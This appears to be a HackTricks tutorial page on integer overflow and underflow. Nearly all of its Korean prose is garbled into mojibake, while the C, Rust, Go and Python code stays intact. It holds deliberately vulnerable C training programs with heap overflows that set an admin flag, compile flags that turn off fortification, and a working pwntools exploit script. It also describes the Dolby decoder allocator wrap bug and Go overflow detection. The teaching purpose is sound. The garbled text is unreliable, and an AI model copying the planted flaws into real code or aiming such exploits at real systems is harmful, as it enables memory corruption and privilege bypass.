์ ์ ์ค๋ฒํ๋ก์ฐ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
ํต์ฌ์ ์ผ๋ก integer overflow๋ ์ปดํจํฐ ํ๋ก๊ทธ๋๋ฐ์์ ๋ฐ์ดํฐ ํ์ ์ ํฌ๊ธฐ์ ๋ฐ์ดํฐ์ ํด์์ด ๋ถ๊ณผํ๋ ์ ํ์ ์๋ค.
์๋ฅผ ๋ค์ด, 8๋นํธ ๋ถํธ ์๋ ์ ์๋ 0์์ 255๊น์ง์ ๊ฐ์ ํํํ ์ ์๋ค. ๋ง์ฝ 8๋นํธ ๋ถํธ ์๋ ์ ์์ 256์ ์ ์ฅํ๋ ค ํ๋ฉด, ์ ์ฅ ์ฉ๋์ ํ๊ณ ๋๋ฌธ์ ๊ฐ์ด 0์ผ๋ก ์ํํ๋ค. ๋ง์ฐฌ๊ฐ์ง๋ก 16๋นํธ ๋ถํธ ์๋ ์ ์๋ 0์์ 65,535๊น์ง์ ๊ฐ์ ๊ฐ์ง ์ ์์ผ๋ฏ๋ก 65,535์ 1์ ๋ํ๋ฉด ๊ฐ์ด 0์ผ๋ก ๋์๊ฐ๋ค.
๋ํ, 8๋นํธ ๋ถํธ ์๋ ์ ์๋ -128์์ 127๊น์ง์ ๊ฐ์ ํํํ ์ ์๋ค. ์ด๋ ํ ๋นํธ๊ฐ ๋ถํธ(์์ ๋๋ ์์)๋ฅผ ๋ํ๋ด๋ ๋ฐ ์ฌ์ฉ๋๊ณ ๋๋จธ์ง 7๋นํธ๊ฐ ํฌ๊ธฐ๋ฅผ ๋ํ๋ด๊ธฐ ๋๋ฌธ์ด๋ค. ๊ฐ์ฅ ์์ ๊ฐ์ -128(์ด์ง 10000000)์ผ๋ก ๋ํ๋ด๊ณ , ๊ฐ์ฅ ํฐ ๊ฐ์ 127(์ด์ง 01111111)์ด๋ค.
์ผ๋ฐ์ ์ธ ์ ์ ํ์ ์ ์ต์/์ต๋ ๊ฐ:
| Type | ํฌ๊ธฐ (๋นํธ) | ์ต์๊ฐ | ์ต๋๊ฐ |
|---|---|---|---|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
64๋นํธ ์์คํ
์์ short๋ int16_t์ ๊ฐ๊ณ , int๋ int32_t์ ๊ฐ์ผ๋ฉฐ, long์ int64_t์ ๊ฐ๋ค.
์ต๋๊ฐ
์ ์ฌ์ ์ธ ์น ์ทจ์ฝ์ ์ ๊ณ ๋ คํ ๋ ์ง์๋๋ ์ต๋๊ฐ์ ์๋ ๊ฒ์ ๋งค์ฐ ํฅ๋ฏธ๋กญ๋ค:
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
์์
Pure overflow
์ถ๋ ฅ ๊ฒฐ๊ณผ๋ 0์ ๋๋ค. char๋ฅผ overflowํ๊ธฐ ๋๋ฌธ์:
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
Signed to Unsigned Conversion
์ฌ์ฉ์ ์ ๋ ฅ์์ ์ฝ์ signed integer๊ฐ ์ ์ ํ ๊ฒ์ฆ ์์ด unsigned integer๋ก ์ทจ๊ธ๋๋ ๋ฌธ๋งฅ์์ ์ฌ์ฉ๋๋ ์ํฉ์ ์๊ฐํด๋ณด์:
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
์ด ์์ ์์ ์ฌ์ฉ์๊ฐ ์์๋ฅผ ์ ๋ ฅํ๋ฉด, binary values๊ฐ ํด์๋๋ ๋ฐฉ์ ๋๋ฌธ์ ํด๋น ๊ฐ์ ํฐ unsigned integer๋ก ํด์๋์ด ์์์น ๋ชปํ ๋์์ ์ด๋ํ ์ ์์ต๋๋ค.
macOS Overflow Example
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow โ undersized allocation โ heap overflow โ flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("๐ EXPLOITATION SUCCESSFUL ๐");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 โ 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF โ stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit โ wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) โ It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
๋ค์๊ณผ ๊ฐ์ด ์ปดํ์ผํ์ธ์:
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
Exploit
# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until itโs actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()
macOS Underflow ์์
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("๐ EXPLOITATION SUCCESSFUL ๐");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
๋ค์๊ณผ ๊ฐ์ด ์ปดํ์ผํ์ธ์:
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
Allocator alignment rounding wrap โ undersized chunk โ heap overflow (Dolby UDC case)
์ผ๋ถ custom allocators๋ overflow ์ฌ๋ถ๋ฅผ ์ฌ๊ฒ์ฌํ์ง ์๊ณ allocations์ alignment๊น์ง ๋ฐ์ฌ๋ฆผํฉ๋๋ค. Dolby Unified Decoder (Pixel 9, CVE-2025-54957)์์๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ emdf_payload_size๊ฐ (unbounded variable_bits(8) loop์ผ๋ก ๋์ฝ๋ฉ๋์ด) ddp_udc_int_evo_malloc์ ์ ๋ฌ๋ฉ๋๋ค:
size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;
64-bit ๊ฐ์ด 0xFFFFFFFFFFFFFFF9 ๊ทผ์ฒ์ผ ๊ฒฝ์ฐ, (8 - total_size) % total_size๊ฐ ๋ง์
์ ๋ํํ์ฌ ๋
ผ๋ฆฌ์ alloc_size๋ ์ฌ์ ํ ๊ฑฐ๋ํจ์๋ ๋ถ๊ตฌํ๊ณ **์์ total_size**๋ฅผ ๋ง๋ค์ด๋
๋๋ค. ํธ์ถ์๋ ์ดํ ๋ฐํ๋ ์ฒญํฌ์ payload_length ๋ฐ์ดํธ๋ฅผ ์๋๋ค:
buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
buffer[i] = next_byte_from_emdf(); // writes past tiny chunk
}
Why exploitation is reliable in this pattern:
- Overflow length control: ๋ฐ์ดํธ๋ ๋ค๋ฅธ ๊ณต๊ฒฉ์๊ฐ ์ ํํ ๊ธธ์ด(
emdf_container_length)๋ก ์ ํ๋ reader์์ ๊ณต๊ธ๋๋ฏ๋ก, ์ฐ๊ธฐ๋payload_length๋ฅผ ์ ๋ถ ๋ฟ๋ฆฌ๋ ๋์ N ๋ฐ์ดํธ ํ์ ๋ฉ์ถ๋ค. - Overflow data control: ์ฒญํฌ๋ฅผ ๋์ด ์ฐ์ฌ์ง๋ ๋ฐ์ดํธ๋ ์ ๋ถ EMDF payload์์ ๊ณต๊ฒฉ์๊ฐ ์ ๊ณตํ๋ค.
- Heap determinism: allocator๋ ํ๋ ์๋ณ bump-pointer slab์ด๋ฉฐ frees๊ฐ ์์ผ๋ฏ๋ก, ์์๋ ๊ฐ์ฒด๋ค์ ์ธ์ ์ฑ์ ์์ธก ๊ฐ๋ฅํ๋ค.
๊ธฐํ ์์
-
https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
-
๋น๋ฐ๋ฒํธ ํฌ๊ธฐ๋ฅผ ์ ์ฅํ๋ ๋ฐ 1B๋ง ์ฌ์ฉ๋๋ฏ๋ก overflow๋ฅผ ์ผ์ผ์ผ ๊ธธ์ด๋ฅผ 4๋ก ์ธ์ํ๊ฒ ๋ง๋ค ์ ์๊ณ , ์ค์ ๋ก๋ 260์ผ๋ก ๊ธธ์ด ๊ฒ์ฌ ๋ณดํธ๋ฅผ ์ฐํํ ์ ์๋ค
-
https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html
-
๋ช ๊ฐ์ ์ซ์๊ฐ ์ฃผ์ด์ก์ ๋ z3๋ฅผ ์ฌ์ฉํด ์ฒซ ๋ฒ์งธ ์์ ๊ณฑํ์ ๋ ๋ ๋ฒ์งธ ์๊ฐ ๋๋ ์๋ก์ด ์๋ฅผ ์ฐพ์๋ผ:
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
- https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
- ๋น๋ฐ๋ฒํธ ํฌ๊ธฐ๋ฅผ ์ ์ฅํ๋ ๋ฐ 1B๋ง ์ฌ์ฉ๋๋ฏ๋ก overflow๋ฅผ ์ผ์ผ์ผ ๊ธธ์ด๋ฅผ 4๋ก ์ธ์ํ๊ฒ ๋ง๋ค ์ ์๊ณ , ์ค์ ๋ก๋ 260์ด๋ผ์ ๊ธธ์ด ๊ฒ์ฌ ๋ณดํธ๋ฅผ ์ฐํํ๊ณ ์คํ์ ๋ค์ ๋ก์ปฌ ๋ณ์๋ฅผ ๋ฎ์ด์จ ๋ ๋ณดํธ๋ฅผ ๋ชจ๋ ์ฐํํ ์ ์๋ค
Go์ integer overflow ๊ฐ์ง (go-panikint ์ฌ์ฉ)
Go๋ ์ ์ ์ฐ์ฐ์ ์กฐ์ฉํ ๋ํํ๋ค. go-panikint๋ SSA overflow checks๋ฅผ ์ฃผ์
ํ๋ ํฌํฌ๋ Go toolchain์ผ๋ก, ๋ํ๋ ์ฐ์ ์ฐ์ฐ์ด ์ฆ์ runtime.panicoverflow()(panic + stack trace)๋ฅผ ํธ์ถํ๊ฒ ๋ง๋ ๋ค.
์ฌ์ฉ ์ด์
- ์ฐ์ ์ฐ์ฐ์ด ๋ํ๋ ๋ ์ฆ์ crashํ๋ฏ๋ก overflow/truncation์ด fuzzing/CI์์ ๋ฐ๊ฒฌ ๊ฐ๋ฅํด์ง๋ค.
- user-controlled pagination, offsets, quotas, ํฌ๊ธฐ ๊ณ์ฐ, ๋๋ ์ ๊ทผ ์ ์ด ์ํ(์:
end := offset + limit์์ ์์ ๊ฐ์ผ๋ก ๋ํ๋๋uint64) ์ฃผ๋ณ์์ ์ ์ฉํ๋ค.
๋น๋ ๋ฐ ์ฌ์ฉ๋ฒ
git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness
ํ
์คํธ/fuzzing์ฉ์ผ๋ก ์ด ํฌํฌ๋ go ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ์ฌ ์ค๋ฒํ๋ก์ฐ๋ฅผ panics๋ก ๋๋ฌ๋ด์ธ์.
๋ ธ์ด์ฆ ์ ์ด
- ์๋ฆผ(truncation) ๊ฒ์ฌ(๋ ์์ ์ ์๋ก์ ์บ์คํธ)๋ ๋ ธ์ด์ฆ๊ฐ ๋ง์ ์ ์์ต๋๋ค.
- ์๋์ ์ธ wrap-around๋ ์์ค ๊ฒฝ๋ก ํํฐ ๋๋ ์ธ๋ผ์ธ
// overflow_false_positive/// truncation_false_positive์ฃผ์์ผ๋ก ์ต์ ํ์ธ์.
์ค์ ์ฌ๋ก ํจํด
go-panikint๋ Cosmos SDK์ uint64 ํ์ด์ง ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ฐํ๋์ต๋๋ค: end := pageRequest.Offset + pageRequest.Limit์ด MaxUint64๋ฅผ ๋์ด ๋ํ๋์ด ๋น ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ์ต๋๋ค. ๊ณ์ธก(instrumentation)์ ์ด ์กฐ์ฉํ ๋ํ์ panic์ผ๋ก ๋ฐ๊ฟ fuzzers๊ฐ ์ต์ํํ ์ ์๊ฒ ํ์ต๋๋ค.
ARM64
์ด๊ฒ์ ARM64์์ ๋ณ๊ฒฝ๋์ง ์์ต๋๋ค โ ์์ธํ ๋ด์ฉ์ this blog post๋ฅผ ํ์ธํ์ธ์.
References
- Detect Goโs silent arithmetic bugs with go-panikint
- go-panikint (compiler fork)
- Pixel 0-click โ CVE-2025-54957 allocator wrap โ heap overflow
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


